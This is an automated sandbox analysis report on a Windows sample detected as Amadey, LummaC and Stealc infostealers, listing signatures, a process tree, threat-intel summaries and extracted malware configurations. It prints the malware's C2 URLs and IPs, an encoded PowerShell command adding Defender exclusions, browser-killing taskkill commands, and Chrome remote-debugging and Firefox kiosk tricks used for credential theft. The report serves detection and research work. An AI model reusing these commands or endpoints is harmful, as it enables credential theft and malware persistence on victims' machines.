Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1547313
MD5:	1e33e63c356ac4032505c4a3f7157786
SHA1:	d269e43d5e8439e0a033b3291963b478308f5934
SHA256:	dc143828ace64c6a5de6fd23b99b0b5c73c49f3b1a2a1a585ec356ecd57eaf13
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops VBS files to the startup folder

Drops large PE files

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: WScript or CScript Dropper

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6780 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1E33E63C356AC4032505C4A3F7157786)

skotes.exe (PID: 4192 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1E33E63C356AC4032505C4A3F7157786)

skotes.exe (PID: 3220 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1E33E63C356AC4032505C4A3F7157786)

skotes.exe (PID: 5844 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1E33E63C356AC4032505C4A3F7157786)

Fwkdsz.exe (PID: 1748 cmdline: "C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe" MD5: 54F4EBCE5C56BF86C5948D89BA8C875F)

powershell.exe (PID: 1720 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 1308 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

MSBuild.exe (PID: 5856 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 1228 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 1144 MD5: C31336C1EFC2CCB44B4326EA793040F2)

24da741fb6.exe (PID: 1236 cmdline: "C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe" MD5: 53014E825FFABBC0AC8A0AB1AEC76EE7)

33QCBA038D3K2VF7AVBGWF5K.exe (PID: 8016 cmdline: "C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe" MD5: 01DDF9CC770BC558B2FAFFA43B9B5B12)

0d8313073f.exe (PID: 4136 cmdline: "C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe" MD5: 90CD56BFD041977B953EC0D6AC7F665C)

chrome.exe (PID: 6368 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2104 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2252,i,12247254292580222694,14534572486204827192,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

203f60e481.exe (PID: 5300 cmdline: "C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe" MD5: C1FA8AC639C1D531A4C7CF311C056AB0)

taskkill.exe (PID: 5848 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2908 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5416 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6280 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6404 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6868 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

8a0ff7e068.exe (PID: 5652 cmdline: "C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe" MD5: 01DDF9CC770BC558B2FAFFA43B9B5B12)

wscript.exe (PID: 3812 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

firefox.exe (PID: 6844 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6864 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6128 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2264 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {81e41cdf-9cd7-4e6b-84b6-f40482f74e4a} 6864 "\\.\pipe\gecko-crash-server-pipe.6864" 253dc76dd10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6564 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4036 -parentBuildID 20230927232528 -prefsHandle 4400 -prefMapHandle 3816 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {67daa889-b47a-41d1-9d91-f60d147d808b} 6864 "\\.\pipe\gecko-crash-server-pipe.6864" 253ee211110 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

svchost.exe (PID: 2044 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["founpiuer.store", "navygenerayk.store", "fadehairucw.store", "necklacedmny.store", "crisiwarny.store", "scriptyprefej.store", "presticitpo.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.1734062990.00000000004B1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1695582240.0000000005080000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2705352741.0000000006C60000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000D.00000002.2940306745.00000000015BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.2640122155.0000000002CF5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000002.00000002.1736142318.00000000004B1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1693609127.00000000048C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2922402588.00000000004B1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.2922718430.0000000000611000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.2671334911.0000000004473000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000003.2335093980.0000000005150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2559813189.0000000005310000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1704119383.00000000007A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1663903218.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: Fwkdsz.exe PID: 1748	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Fwkdsz.exe PID: 1748	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 24da741fb6.exe PID: 1236	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 24da741fb6.exe PID: 1236	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 24da741fb6.exe PID: 1236	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0d8313073f.exe PID: 4136	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 0d8313073f.exe PID: 4136	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0d8313073f.exe PID: 4136	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 203f60e481.exe PID: 5300	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: MSBuild.exe PID: 5856	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 20 entries

Unpacked PEs

Source	Rule	Description	Author
7.2.Fwkdsz.exe.6c60000.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.Fwkdsz.exe.4568190.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
6.2.skotes.exe.4b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.4b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.4b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.0d8313073f.exe.610000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.7a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5844, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\24da741fb6.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe, ParentProcessId: 1748, ParentProcessName: Fwkdsz.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBN

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs" , ProcessId: 3812, ProcessName: wscript.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe, ParentProcessId: 4136, ParentProcessName: 0d8313073f.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6368, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5844, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\24da741fb6.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

